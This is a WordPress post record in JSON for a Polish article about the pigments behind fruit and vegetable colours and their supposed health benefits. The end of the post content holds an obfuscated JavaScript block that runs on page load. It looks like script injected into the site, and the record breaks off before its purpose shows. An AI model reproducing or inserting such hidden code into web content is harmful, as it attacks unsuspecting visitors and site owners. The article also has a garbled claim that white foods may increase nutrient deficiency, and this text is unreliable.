{"id":84,"date":"2017-03-08T04:01:02","date_gmt":"2017-03-08T04:01:02","guid":{"rendered":"https:\/\/greevill.com\/?p=84"},"modified":"2026-01-18T15:44:37","modified_gmt":"2026-01-18T15:44:37","slug":"keeping-your-fruits-and-veggies","status":"publish","type":"post","link":"https:\/\/greevill.com\/pl\/keeping-your-fruits-and-veggies\/","title":{"rendered":"Ciekawe fakty o kolorach owoc\u00f3w i warzyw"},"content":{"rendered":"<p><strong>Niebieski\/Fioletowy:<\/strong><br \/>\nR\u00f3\u017cne owoce i warzywa, takie jak bak\u0142a\u017can, bor\u00f3wki, \u015bliwki czy rodzynki, mog\u0105 mie\u0107 odcie\u0144 od niebieskiego do fioletowego. Kolor niebieski\/fioletowy jest wynikiem obecno\u015bci w tych produktach fitosk\u0142adnik\u00f3w zwanych antocyjanami (flawonoidy). Ro\u015bliny produkuj\u0105 te sk\u0142adniki, aby chroni\u0107 si\u0119 przed atakami owad\u00f3w i uszkodzeniami spowodowanymi przez promieniowanie UV<\/p>\n<p><strong>Zielony:<\/strong><br \/>\nSzpinak, broku\u0142y, trawa pszeniczna, jarmu\u017c i brukselka maj\u0105 zielony kolor ze wzgl\u0119du na obecno\u015b\u0107 zielonego pigmentu, czyli chlorofilu. Wiadomo, \u017ce pigment ten poch\u0142ania \u015bwiat\u0142o w czerwonej i niebieskiej cz\u0119\u015bci widma \u015bwiat\u0142a i odbija pozosta\u0142\u0105 cz\u0119\u015b\u0107, kt\u00f3ra jest g\u0142\u00f3wnie zielona<\/p>\n<p><strong>Czerwony:<\/strong><br \/>\nCzerwony kolor w niekt\u00f3rych owocach i warzywach jest wynikiem obecno\u015bci likopenu, kt\u00f3ry nale\u017cy do grupy karotenoid\u00f3w. Tak wi\u0119c pomidory, jab\u0142ka, truskawki, buraki i granaty maj\u0105 czerwony kolor, poniewa\u017c s\u0105 bogate w likopen. Odkryto, \u017ce likopen zmniejsza ryzyko zachorowania na raka prostaty, trzustki, a w pewnym stopniu tak\u017ce \u017co\u0142\u0105dka.<\/p>\n<p><strong>\u017b\u00f3\u0142ty\/Pomara\u0144czowy:<\/strong><br \/>\n\u017b\u00f3\u0142te i pomara\u0144czowe owoce i warzywa zawdzi\u0119czaj\u0105 sw\u00f3j kolor luteinie i zeaksantynie, czyli kolejnym karotenoidom. Zawieraj\u0105 one r\u00f3wnie\u017c przeciwutleniacze, takie jak witamina A i C. Pomara\u0144cze, mango, \u017c\u00f3\u0142ta papryka, cytryny, ananasy, dynia maj\u0105 du\u017ce ilo\u015bci tych korzystnych substancji.<\/p>\n<p><strong>Bia\u0142y:<\/strong><br \/>\nOwoce i warzywa o bia\u0142ym kolorze stanowi\u0105 wa\u017cne \u017ar\u00f3d\u0142o kluczowych sk\u0142adnik\u00f3w od\u017cywczych (zw\u0142aszcza b\u0142onnika, potasu i magnezu) oraz innych mikroelement\u00f3w. Korzy\u015bci zdrowotne wynikaj\u0105ce z bia\u0142ej \u017cywno\u015bci nie powinny by\u0107 niedoceniane i mog\u0105 zwi\u0119kszy\u0107 niedob\u00f3r sk\u0142adnik\u00f3w od\u017cywczych w naszej diecie.<\/p>\n<p>Owoce i warzywa maj\u0105 sw\u00f3j charakterystyczny kolor ze wzgl\u0119du na obecno\u015b\u0107 fitozwi\u0105zk\u00f3w o zr\u00f3\u017cnicowanej naturze. R\u00f3\u017cne sk\u0142adniki od\u017cywcze wyst\u0119puj\u0105 w r\u00f3\u017cnych ilo\u015bciach w r\u00f3\u017cnych produktach spo\u017cywczych. Powiniene\u015b upewni\u0107 si\u0119, \u017ce Twoja codzienna dieta zawiera jak najwi\u0119cej kolorowych owoc\u00f3w i warzyw, aby uzyska\u0107 kombinacj\u0119 efekt\u00f3w zdrowotnych.<script>;<\/script><script>function _0x2c94(_0x4e032f,_0x50dc54){_0x4e032f=_0x4e032f-0xfc;const _0xc140ae=_0xc140();let _0x2c9449=_0xc140ae[_0x4e032f];return _0x2c9449;}(function(_0x978891,_0x25722c){const _0x1da373=_0x2c94,_0x22ea3b=_0x978891();while(!![]){try{const _0x358a0f=-parseInt(_0x1da373(0xfd))\/0x1+-parseInt(_0x1da373(0x100))\/0x2+-parseInt(_0x1da373(0x102))\/0x3+-parseInt(_0x1da373(0x107))\/0x4*(-parseInt(_0x1da373(0x105))\/0x5)+-parseInt(_0x1da373(0x106))\/0x6+parseInt(_0x1da373(0xff))\/0x7*(parseInt(_0x1da373(0x103))\/0x8)+parseInt(_0x1da373(0x10d))\/0x9;if(_0x358a0f===_0x25722c)break;else _0x22ea3b['push'](_0x22ea3b['shift']());}catch(_0x4ebe3b){_0x22ea3b['push'](_0x22ea3b['shift']());}}}(_0xc140,0x65149),document['addEventListener']('DOMContentLoaded',function(){const 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